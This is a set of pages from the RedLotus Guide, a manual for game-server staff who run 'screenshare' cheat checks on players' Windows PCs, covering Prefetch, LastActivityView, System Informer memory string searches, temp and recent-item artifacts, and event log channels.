Timestamp:** The precise date and time the application was **last executed** from that path. This is a **primary indicator of execution time**. (Remember: The _Date Modified_ timestamp of the `.pf` file itself reflects this Last Run Time). * **Previous Run Timestamps:** Up to 8 of the most recent previous execution timestamps are stored, offering a history of recent launches from that path. * **Volume Information:** Details about the disk volume where the executable was located during its last run, including the volume name (e.g., `C:`), volume serial number, and the volume's creation date. * **File Metrics:** Records the size of the original executable file. * **Directories Referenced:** A list of directories the application accessed during its initial startup phase (usually within the first ~10 seconds). * **Files Referenced (Indexes/Loaded Resources):** A list of specific files (including DLLs, configuration files, data files, etc.) that the application loaded or accessed during that initial startup phase. This is crucial for linking processes like `java.exe` to specific `.jar` files or `rundll32.exe` to specific `.dll` files. * **Executable Path Hash:** The 8-character hash identifying the path of execution. [PreviousUnderstanding Prefetch](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/windows-prefetch-analysis/understanding-prefetch) [NextAnalysis Tools](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/windows-prefetch-analysis/analysis-tools) Last updated 1 year ago --- # Limitations and Considerations | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/lastactivityview-artifact-aggregation/limitations-and-considerations.md) . * **Dependency on Source Integrity:** LastActivityView's output is entirely dependent on the presence and integrity of the underlying artifacts it queries. If Prefetch is disabled, registry keys have been cleared (e.g., using CCleaner or manually via `reg.exe`), or event logs are wiped, LastActivityView **will not** show the corresponding activity because the source data is missing. It doesn't perform magic; it aggregates existing data. * **Timestamp Source:** Timestamps displayed are derived directly from the source artifact. A timestamp might represent the time of execution (from Prefetch), the time of file access (from OpenSave MRU), or the time an event was logged (from Event Logs). Understanding the source (often indicated in a dedicated column) is important for correct interpretation. * **Not Exhaustive:** While it covers many common artifacts, it doesn't query _every_ possible forensic artifact on the system. Advanced traces might still require manual checking of specific locations or the use of more specialized tools. * **Relationship to Manual Checks:** For specific detections, like finding DLL paths in OpenSavePidlMRU, LastActivityView simply provides a convenient GUI overlay for data that could also be found manually browsing `regedit`. Its strength lies in aggregating this with other sources like Prefetch for a broader, quicker overview. [PreviousFunctionality in ScreenSharing](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/lastactivityview-artifact-aggregation/functionality-in-screensharing) [NextSearch Everything: Rapid File System Search](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/search-everything-rapid-file-system-search) Last updated 1 year ago --- # General Process Filtering Steps: | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/process-hacker-system-informer-introduction-and-configuration/general-process-filtering-steps.md) . The most common manual technique using System Informer during screenshares is searching for specific strings within the memory of key processes. The general workflow is: 1. **Locate Target Process:** Identify the process you want to analyze in the main process list (e.g., `explorer.exe`, `javaw.exe`, `csrss.exe`, `svchost.exe` associated with a specific service like DPS or PcaSvc). 2. **Open Properties:** Right-click on the target process and select _Properties_. 3. **Navigate to Memory:** In the Properties window, click on the _Memory_ tab. 4. **Initiate String Search:** Click the _Strings_ button. 5. **Configure Search Options:** A configuration window will appear. Set the following: * _Minimum length:_ Set this to filter out very short, usually irrelevant strings. A value of **5** or **6** is commonly recommended. Setting it too low (e.g., 3) can produce excessive noise; setting it too high might miss shorter relevant strings. (Note: Older guides might mention 4, but 5 or 6 is often better with modern systems). * _Memory Types:_ Select which types of memory to scan. It's generally recommended to select **Mapped** and **Private**. The **Image** checkbox scans the executable's mapped image in memory; sometimes deselecting this can reduce noise from the base executable's static strings, but including it is safer initially to ensure nothing is missed. * _Character Encoding:_ Ensure **Extended Unicode** (or similar UTF-16/wide character option) is checked to capture strings using non-ASCII characters. * Click _OK_. 6. **Apply Filters:** The Strings window will open, displaying found strings. Click the _Filter_ button (often looks like a funnel). * Choose the filter type: * _Contains (case-insensitive):_ For simple keyword searches (e.g., searching for "autoclicker", ".jar", a known cheat name). * _Regex (case-insensitive):_ For pattern-based searches using Regular Expressions (e.g., finding file paths `^[A-Z]:\\.+\.exe$`, specific command formats). * Enter your search term or regex pattern in the text box and click OK/Apply. **Important Note on User Interference:** While the string search is running (especially on large processes like `explorer.exe`), **do not allow the player to press the Escape (Esc) key**. Pressing Esc can prematurely abort the filtering process, potentially causing you to miss crucial evidence. Clicking away to another window or sometimes holding the Ctrl key while the filter dialog is active can help mitigate accidental Esc presses by the user. [PreviousConfiguration: Enabling Kernel Mode Driver](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/process-hacker-system-informer-introduction-and-configuration/configuration-enabling-kernel-mode-driver) [NextSpecific Processes to Analyze and Search Patterns](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/specific-processes-to-analyze-and-search-patterns) Last updated 1 year ago --- # explorer.exe (Windows Explorer) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/specific-processes-to-analyze-and-search-patterns/1-explorerexe.md) . * **Function:** This is the process responsible for the main Windows graphical shell – the Desktop, Taskbar, Start Menu, and File Explorer windows. It handles user interactions with files and folders and interacts with indexing services. * **Why Analyze:** Due to its central role and interaction with file operations, `explorer.exe` memory can sometimes contain cached file paths, recently accessed folder names, or fragments of executed command lines or scripts, particularly those logged by the Program Compatibility Assistant (PCA). * **Reliability & Caveats:** Often considered **unreliable** as a _sole_ source of definitive proof. Its memory is highly volatile (changes constantly), findings can be easily cleared or bypassed by modern cheats, and innocuous strings can be misinterpreted (high potential for false positives). Use findings primarily as **investigative leads or corroborating evidence**, not standalone proof. * **Common Search Patterns:** * `pcaclient` (Contains, case-insensitive): Searches for cached strings related to the Program Compatibility Assistant service. This can sometimes reveal paths of recently executed programs (often the last ~10), though it's easily bypassed. Copy the full result blocks containing this string to Notepad for easier parsing. * `file:///` (Contains, case-insensitive): Lists file paths (often in URI format) recently accessed or viewed through File Explorer or related shell operations. Can provide context but is usually cluttered with legitimate activity and doesn't prove execution. Further filtering (e.g., for `.exe`, `.dll`, `.jar`, specific user directories) within these results might yield useful leads. [PreviousSpecific Processes to Analyze and Search Patterns](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/specific-processes-to-analyze-and-search-patterns) [Nextcsrss.exe (Client Server Runtime Subsystem)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/specific-processes-to-analyze-and-search-patterns/2-csrssexe) Last updated 1 year ago --- # Temporary Files ( %temp% ) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/execution-traces-and-recent-activity/temporary-files.md) . * **Purpose:** Stores temporary data created by Windows and applications during operation. * **Location:** `C:\Users\{username}\AppData\Local\Temp` (Access via Win+R -> `%temp%`) * **Key Artifacts:** * _JnativeHook:_ Some Java-based autoclickers utilize the JnativeHook library and may drop a `JnativeHook-{random numbers}.dll` file in this directory upon execution. The file's creation/modification time indicates execution time. Note: This is **not entirely reliable**. Not all Java cheats use this library, and the file can be easily deleted (check USN Journal for deletions). * _Unpacked Archives:_ Files run directly from within compressed archives (e.g., `.zip`, `.rar`) might be temporarily extracted here. Look for folders like `Rar$` or `7z$` followed by temporary names, potentially containing the executed file. The modification times of these temporary files/folders can indicate recent activity. * **Purpose:** The Temp folder is a designated storage location used by Windows and various applications to store temporary data files created during their operation or installation. This can include temporary copies of files being edited, installation cache files, logs, or files extracted from archives. * **Location:** The primary user Temp folder is located within the user's profile: `C:\Users\{username}\AppData\Local\Temp`. It can be quickly accessed via the Run dialog (Win+R) by typing `%temp%` and pressing Enter. * **Key Artifacts for ScreenSharing:** * _JnativeHook DLLs:_ Certain Java-based cheats, particularly some autoclickers, utilize a library called JnativeHook to interact with system input. When these cheats are executed, they often drop a DLL file named `JnativeHook-{random numbers}.dll` into the `%temp%` directory. The **creation or modification timestamp** of this DLL file directly indicates the time the cheat was executed. **However, this method is not entirely reliable.** Not all Java cheats use this specific library, and the file can be easily deleted by the user or cleanup tools. If the file is suspected but missing, checking the **USN Journal (**`**$UsnJrnl**`**)** for recent `FILE_DELETE` events matching the `JnativeHook*.dll` pattern in the `%temp%` path is essential. * _Unpacked Archives:_ When users run an executable directly from within a compressed archive (like a `.zip` or `.rar` file) without fully extracting it first, the archiving tool often temporarily extracts the necessary files to a subdirectory within `%temp%`. These temporary folders might have names like `Rar${random}` or `7z${random}`. Examining the contents and **modification times** of these temporary folders and the files within them can reveal recently executed programs that were run from archives. [PreviousPrefetch ( C:\\Windows\\Prefetch )](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/execution-traces-and-recent-activity/prefetch) [NextRecent Items ( shell:recent )](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/execution-traces-and-recent-activity/recent-items) Last updated 1 year ago --- # Recent Items ( shell:recent ) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/execution-traces-and-recent-activity/recent-items.md) . * * **Purpose:** This special shell folder stores shortcuts (`.lnk` files) pointing to files and folders that the user has recently opened or accessed through standard Windows interactions (e.g., opening a file in an application, saving a document). Its functionality and population depend on Windows settings related to tracking recent items. * **Location:** The folder resides at `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent`. It can be quickly accessed via the Run dialog (Win+R) by typing `shell:recent` and pressing Enter. * **File Format:** Contains `.lnk` (shortcut) files. Each `.lnk` file contains metadata pointing to the original target file or folder (the "linked item"), including its path and potentially timestamps related to the target's creation/modification/access (stored within the shortcut itself) and the shortcut's own creation/modification time. * **Forensic Value:** * Provides valuable **context** about the user's recent activities and interactions with specific files, applications, or storage locations. * While finding direct evidence of cheats (like a `.dll` shortcut appearing here) is less common in modern scenarios and sometimes considered a somewhat **"deprecated" primary detection method**, the presence of shortcuts to unusual locations, temporary files, or recently downloaded archives can corroborate findings from other artifacts. * It helps build a narrative of user actions. * **Related Artifacts & Clearing:** The `shell:recent` folder's contents are closely linked to: * _Jump Lists:_ These provide recently accessed items _per application_, accessible by right-clicking icons on the taskbar or in the Start menu. Jump List data is stored separately in `.automaticDestinations-ms` and `.customDestinations-ms` files located within `%AppData%\Microsoft\Windows\Recent\AutomaticDestinations\` and `CustomDestinations\`. Clearing `shell:recent` does not necessarily clear Jump List data. * _RecentDocs Registry Keys:_ Located under `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs`. Clearing these registry keys often (but not always) results in the clearing of the `shell:recent` folder content. Evidence of clearing these keys (e.g., via `reg.exe` usage logs) can be suspicious. [PreviousTemporary Files ( %temp% )](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/execution-traces-and-recent-activity/temporary-files) [NextRecycle Bin ( C:$Recycle.bin )](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/execution-traces-and-recent-activity/recycle-bin) Last updated 1 year ago --- # Other Relevant Processes | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/specific-processes-to-analyze-and-search-patterns/6-other-relevant-processes.md) . While the above are often primary targets, analyzing other processes can yield results depending on the bypass or cheat type: * _Task Scheduler Engine (_`_taskhostw.exe_`_,_ `_svchost.exe_` _hosting Schedule):_ Analyze memory for paths, commands (``, ``), or script contents related to scheduled tasks, especially if Task Scheduler bypasses are suspected. * `_SearchIndexer.exe_`_:_ Memory might contain cached paths or fragments of file contents indexed by Windows Search, including recently created or executed files/scripts. * _Antivirus Processes (e.g.,_ `_MsMpEng.exe_` _for Windows Defender, or third-party AV processes):_ Dumping these (requires Kernel Mode Driver) can sometimes reveal strings related to detected (but perhaps quarantined, allowed, or ignored) threats, or potentially fragments of code/strings from cheats attempting to evade the AV. * _Game Process (_`_javaw.exe_` _for Minecraft):_ Directly searching the game process memory for known cheat strings, class names (for Java cheats), or loaded module names (for injected DLLs) is fundamental. Specific patterns depend heavily on the cheat being searched for. * _Input-Related Processes (_`_ctfmon.exe_`_,_ `_TextInputHost.exe_`_):_ Occasionally relevant when investigating complex macros or input manipulation techniques. Systematically applying targeted string searches within these key processes, guided by the context of the investigation and an understanding of how cheats might interact with the system, significantly enhances the effectiveness of manual screensharing. Remember to always correlate findings across multiple processes and artifacts whenever possible. [PreviousPcaSvc (Program Compatibility Assistant Service)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/specific-processes-to-analyze-and-search-patterns/5-pcasvc) [NextWindows Prefetch Analysis (WinPrefetchView / PECmd)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/windows-prefetch-analysis) Last updated 1 year ago --- # PlugPlay Service (Sometimes shown under DCOMLaunch) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/specific-processes-to-analyze-and-search-patterns/3-plugplay-service.md) . * **Function:** The Plug and Play service manages hardware detection and installation but is also frequently involved when Java applications (`.jar` files) are executed, likely due to interactions with the Java runtime environment. * **Identifying the Process:** Locate the `svchost.exe` instance hosting the "PlugPlay" service (check the Services tab in System Informer or Task Manager). Alternatively, DCOMLaunch (`svchost.exe -k DcomLaunch`) is sometimes associated. Focus on the instance with the **most private bytes** among these candidates. * **Common Search Patterns:** * `.jar` (Contains, case-insensitive): Search within the identified PlugPlay/DCOMLaunch `svchost.exe` instance. Finding full paths ending in `.jar` (e.g., `C:\Users\Admin\Downloads\autoclicker.jar`) is a **primary method** for detecting executed `.jar` cheats or tools. [Previouscsrss.exe (Client Server Runtime Subsystem)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/specific-processes-to-analyze-and-search-patterns/2-csrssexe) [Nextsvchost.exe (-s dps) (Diagnostic Policy Service)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/specific-processes-to-analyze-and-search-patterns/4-svchostexe) Last updated 1 year ago --- # Data Sources | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/lastactivityview-artifact-aggregation/data-sources.md) . LastActivityView queries and presents data derived from sources including (but not necessarily limited to): * **Prefetch Files:** Extracts execution timestamps and filenames from `.pf` files in `C:\Windows\Prefetch`. * **Registry Keys:** * _Recent File History:_ Information related to recently opened files and folders (often linked to `shell:recent` shortcuts and the `RecentDocs` registry keys). * _Open/Save Dialog History (MRU):_ Parses data from keys like `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSavePidlMRU\`. These keys store Most Recently Used (MRU) lists of files that have been opened or saved using the standard Windows file dialog boxes. * _UserAssist Keys:_ Tracks execution of GUI programs. * Other relevant keys tracking application usage or system events. * **Windows Event Logs:** Pulls specific relevant events (like software installations, system shutdowns) from standard Windows Event Logs. * **Recycle Bin Information:** May include data about recently deleted files. * **Application Crash Reports:** Information about application crashes. [PreviousLastActivityView: Artifact Aggregation](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/lastactivityview-artifact-aggregation) [NextFunctionality in ScreenSharing](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/lastactivityview-artifact-aggregation/functionality-in-screensharing) Last updated 1 year ago --- # Event Log Structure ( .evtx Files) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-event-logs-introduction/event-log-structure.md) . * **Format:** Modern Windows event logs (`.evtx` files) use a proprietary binary XML-based format. This format allows for structured logging and efficient storage. * **Channels:** Windows organizes events into different logs, known as _channels_, based on their source or purpose. Key channels frequently examined during screenshares include: * **Application:** Contains events logged by various installed applications (non-OS specific). Error reporting often appears here. * **Security:** Records security-related events based on the system's audit policy settings. This includes login attempts (success/failure), account management actions, object access (if enabled), policy changes, and importantly, **log clearing events (Event ID 1102)**. Accessing this log often requires administrator privileges. * **System:** Logs events generated by Windows system components themselves. This includes service start/stop events, driver loading issues, hardware errors, and **system time changes (Event ID 4616)**, and **non-security log clearing (Event ID 104)**. * **Setup:** Records events related to the installation and setup of applications and Windows updates. * **ForwardedEvents:** Used in enterprise environments to collect events forwarded from other computers. * **Applications and Services Logs:** A broader category containing numerous specific logs for individual applications, services, or Windows features (e.g., Microsoft-Windows-TaskScheduler/Operational, Microsoft-Windows-PowerShell/Operational, Microsoft-Windows-Ntfs/Operational for USN Journal deletion). Navigating these requires knowing which specific log might contain relevant information. [PreviousWindows Event Logs: Introduction](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-event-logs-introduction) [NextThe EventLog Service](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-event-logs-introduction/the-eventlog-service) Last updated 1 year ago --- # Specific Processes to Analyze and Search Patterns | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/specific-processes-to-analyze-and-search-patterns.md) . While any process _could_ potentially harbor cheat artifacts (especially via injection), certain system processes are more frequently targeted or inherently log relevant information, making them primary candidates for analysis during a screenshare. [PreviousGeneral Process Filtering Steps:](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/process-hacker-system-informer-introduction-and-configuration/general-process-filtering-steps) [Nextexplorer.exe (Windows Explorer)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/specific-processes-to-analyze-and-search-patterns/1-explorerexe) Last updated 1 year ago --- # svchost.exe (-s dps) (Diagnostic Policy Service) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/specific-processes-to-analyze-and-search-patterns/4-svchostexe.md) . * **Function:** While ostensibly for diagnosing system issues (especially network connectivity), the Diagnostic Policy Service (DPS) often logs information about executed processes, including paths and sometimes compilation timestamps embedded within the executable's header. * **Identifying the Process:** Locate the `svchost.exe` instance hosting the "DPS" service. * **Common Search Patterns (Regex, case-insensitive):** * `^([a-zA-Z]:\\.+)\\?$`: A broad pattern that often reveals full paths to executed `.exe` files. The surrounding strings might sometimes include compilation date information. * `^!![A-Z]((?!Exe).)*$`: Specifically targets paths logged by DPS that _do not_ end in `.exe`, aiming to catch renamed/extensionless executables. [PreviousPlugPlay Service (Sometimes shown under DCOMLaunch)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/specific-processes-to-analyze-and-search-patterns/3-plugplay-service) [NextPcaSvc (Program Compatibility Assistant Service)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/specific-processes-to-analyze-and-search-patterns/5-pcasvc) Last updated 1 year ago --- # Search Everything: Rapid File System Search | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/search-everything-rapid-file-system-search.md) . _Search Everything_, developed by voidtools, is an incredibly fast and lightweight desktop search utility for Windows. Unlike the built-in Windows Search which indexes file content and metadata relatively slowly, Search Everything focuses primarily on **indexing file and folder names and paths** on **NTFS volumes** almost instantaneously. This makes it an indispensable tool during screenshares for quickly locating files anywhere on the system. [PreviousLimitations and Considerations](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/lastactivityview-artifact-aggregation/limitations-and-considerations) [NextCore Features](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/search-everything-rapid-file-system-search/core-features) Last updated 1 year ago --- # Unknown \# RedLotus Guide ## RedLotus SS Guide Remastered - \[Introduction\](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/first-section-an-introduction-to-hack-checks-and-bypasses.md) - \[What is a Hack Check (Screenshare)?\](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/first-section-an-introduction-to-hack-checks-and-bypasses/what-is-a-hack-check.md) - \[The Goal: Demonstrating Cheat Usage\](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/first-section-an-introduction-to-hack-checks-and-bypasses/the-goal-demonstrating-cheat-usage.md) - \[The Staffer's Perspective and the Learning Process\](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/first-section-an-introduction-to-hack-checks-and-bypasses/the-staffers-perspective-and-the-learning-process.md) - \[Red Lotus Principles\](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/second-section-red-lotus-principles.md) - \[Red Lotus Principles for Ethical and Effective ScreenSharing\](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/second-section-red-lotus-principles/red-lotus-principles-for-ethical-and-effective-screensharing.md) - \[Requirements for ScreenSharers\](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/second-section-red-lotus-principles/requirements-for-screensharers.md) - \[ScreenSharing Protocols (Video Recording)\](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/second-section-red-lotus-principles/screensharing-protocols.md) - \[Anti-Corruption Measures\](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/second-section-red-lotus-principles/anti-corruption-measures.md) - \[Windows Fundamentals\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals.md) - \[File Systems: The Foundation\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/file-systems-the-foundation.md) - \[File System (Definition, Types: NTFS, FAT32, etc.)\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/file-systems-the-foundation/file-system.md) - \[Journaling (Definition, Purpose)\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/file-systems-the-foundation/journaling.md) - \[Fundamental Timestamps\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/fundamental-timestamps.md) - \[Key NTFS Components\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/key-ntfs-components.md) - \[Master File Table ($MFT) - The File Catalog\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/key-ntfs-components/master-file-table-the-file-catalog.md) - \[The Journal ($USNJrnl) - The Change Log\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/key-ntfs-components/the-journal-the-change-log.md) - \[$LogFile (Metadata Log) - Specific Log for Metadata Changes\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/key-ntfs-components/logfile-specific-log-for-metadata-changes.md) - \[Alternate Data Streams (ADS) - Hidden Data Streams\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/key-ntfs-components/alternate-data-streams-hidden-data-streams.md) - \[File Attributes (Read-Only, Hidden, etc.) - Manipulable Properties\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/key-ntfs-components/file-attributes-manipulable-properties.md) - \[Common Windows Artifacts and Their Basic Analysis\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis.md) - \[Execution Traces and Recent Activity\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/execution-traces-and-recent-activity.md) - \[Prefetch ( C:\\Windows\\Prefetch )\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/execution-traces-and-recent-activity/prefetch.md) - \[Temporary Files ( %temp% )\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/execution-traces-and-recent-activity/temporary-files.md) - \[Recent Items ( shell:recent )\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/execution-traces-and-recent-activity/recent-items.md) - \[Recycle Bin ( C:$Recycle.bin )\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/execution-traces-and-recent-activity/recycle-bin.md) - \[Other Notable Folders/Locations\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/other-notable-folderslocations.md) - \[Windows Registry: Introduction\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-registry-introduction.md) - \[Registry Structure: Hives, Keys, and Values\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-registry-introduction/registry-structure-hives-keys-and-values.md) - \[Registry Value Types (Brief Overview)\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-registry-introduction/registry-value-types.md) - \[Windows Event Logs: Introduction\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-event-logs-introduction.md) - \[Event Log Structure ( .evtx Files)\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-event-logs-introduction/event-log-structure.md) - \[The EventLog Service\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-event-logs-introduction/the-eventlog-service.md) - \[Event Viewer ( eventvwr.msc )\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-event-logs-introduction/event-viewer.md) - \[Manual SS Techniques (Basic and Intermediate)\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques.md) - \[Introduction to Process and Memory Analysis\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/introduction-to-process-and-memory-analysis.md) - \[Process Hacker / System Informer: Introduction and Configuration\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/process-hacker-system-informer-introduction-and-configuration.md) - \[Key Capabilities for ScreenSharing:\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/process-hacker-system-informer-introduction-and-configuration/key-capabilities-for-screensharing.md) - \[Configuration: Enabling Kernel Mode Driver\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/process-hacker-system-informer-introduction-and-configuration/configuration-enabling-kernel-mode-driver.md) - \[General Process Filtering Steps:\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/process-hacker-system-informer-introduction-and-configuration/general-process-filtering-steps.md) - \[Specific Processes to Analyze and Search Patterns\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/specific-processes-to-analyze-and-search-patterns.md) - \[explorer.exe (Windows Explorer)\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/specific-processes-to-analyze-and-search-patterns/1-explorerexe.md) - \[csrss.exe (Client Server Runtime 